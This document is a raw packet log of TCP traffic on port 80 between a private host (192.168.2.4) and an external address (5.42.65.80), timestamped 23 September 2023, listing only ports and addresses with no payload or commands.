Sep 23, 2023 17:53:23.576423883 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.576462984 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.576718092 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.576734066 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.576756954 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.576775074 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.576807976 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.576814890 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.576989889 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.577027082 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.577095032 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.577183008 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.577199936 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.577220917 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.577245951 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.577284098 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.577323914 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.577363014 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.577399015 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.577405930 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.577514887 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.577553034 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.577627897 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.577722073 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.577760935 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.577817917 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.577929020 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.577965975 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.578003883 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.578217983 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.578259945 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.578459978 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.578519106 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.578553915 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.578555107 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.578600883 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.578638077 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.578764915 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.579072952 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.579116106 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.579201937 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.579890966 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.579930067 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.579951048 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.580034018 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.580049992 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.580070019 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.580092907 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.580131054 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.580141068 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.580172062 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.580223083 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.580307007 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.580354929 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.580395937 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.580398083 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.580519915 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.580573082 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.580801964 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.580817938 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.580853939 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.580929041 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.580980062 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.581018925 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.581264019 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.581450939 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.581494093 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.581584930 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.581634998 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.581672907 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.581783056 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.581835985 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.581859112 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.581872940 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.581984997 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.582024097 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.582134008 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.582149982 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.582184076 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.582259893 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.582333088 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.582372904 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.582411051 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.582736015 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.582776070 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.582859993 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.582922935 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.582962036 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.582987070 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.583017111 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.583053112 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.583628893 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.583653927 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.583690882 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.583750963 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.583954096 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.583995104 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.584021091 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.584081888 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.584120989 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.584160089 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.584482908 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.584506989 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.584526062 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.584566116 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.584604979 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.584959030 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.585026979 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.585068941 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.585083961 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.585406065 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.585450888 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.585599899 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.585701942 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.585741997 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.585823059 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.586343050 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.586381912 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.586394072 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.586456060 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.586493969 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.586642981 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.586721897 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.586759090 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.586759090 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.586824894 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.586863995 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.587093115 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.587162018 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.587203026 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.587407112 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.587547064 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.587587118 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.587593079 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.587603092 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.587636948 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.587675095 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.587735891 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.587773085 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.588291883 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.588331938 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.588371992 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.588460922 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.588505983 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.588542938 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.588557005 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.588572979 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.588608027 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.588778019 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.589329004 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.589370012 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.589396000 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.589445114 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.589481115 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.589490891 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.589586020 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.589622974 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.589634895 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.589713097 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.589749098 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.590015888 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.590197086 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.590236902 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.590286016 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.590353966 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.590390921 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.590562105 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.590631008 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.590667009 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.590692997 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.591137886 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.591178894 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.591490030 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.591557980 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.591593981 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.591597080 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.591662884 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.591696024 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.591733932 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.591751099 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.591784954 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.592226982 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.592287064 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.592324018 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.592349052 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.592426062 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.592462063 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.592487097 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.592557907 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.592598915 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.592619896 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.593369961 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.593409061 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.593489885 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.593573093 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.593589067 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.593612909 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.593652010 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.593692064 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.593746901 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.593954086 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.593990088 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.594165087 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.594228029 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.594269991 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.594310045 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.594383001 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.594418049 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.594419003 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.594495058 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.594532013 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.594585896 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.594602108 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.594682932 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.594708920 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.594873905 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.594913960 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.594970942 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.595067978 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.595103025 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.595103979 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.595165968 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.595204115 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.595221043 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.595325947 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.595343113 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.595365047 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.595413923 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.595452070 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.595453978 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.595500946 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.595536947 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.595576048 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.595592022 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.595607042 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.595627069 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.595736027 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.595777035 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.595875025 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.596034050 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.596076012 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.596093893 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.596158981 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.596194029 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.596220016 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.596330881 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.596370935 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.596378088 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.596457005 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.596496105 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.596570015 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.596716881 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.596755981 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.596906900 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.596971989 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.597011089 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.597338915 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.597398996 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.597433090 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.597436905 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.597506046 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.597543001 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.597582102 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.597652912 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.597687960 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.597795010 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.598146915 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.598187923 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.598215103 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.598292112 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.598329067 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.598427057 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.598546982 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.598586082 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.598642111 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.598902941 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.598943949 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.599741936 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.599796057 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.599837065 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.599860907 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.599939108 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.599977016 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.600073099 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.600133896 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.600174904 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.600231886 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.600286007 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.600323915 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.600907087 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.600931883 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.600970984 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.600994110 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.601077080 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.601116896 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.601150990 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.601267099 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.601306915 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.601375103 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.601620913 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.601664066 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.601697922 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.601723909 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.601763010 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.601819038 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.601862907 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.601902008 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.601938963 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.601984978 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.602022886 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.602154016 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.602216005 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.602241039 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.602257013 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.602312088 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.602336884 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.602355957 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.602441072 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.602479935 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.602658987 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.602762938 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.602804899 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.602813005 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.603081942 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.603123903 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.603141069 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.603219032 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.603256941 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.603327990 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.603517056 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.603564024 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.605168104 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.605207920 CEST	80	49781	5.42.65.80	192.168.2.4
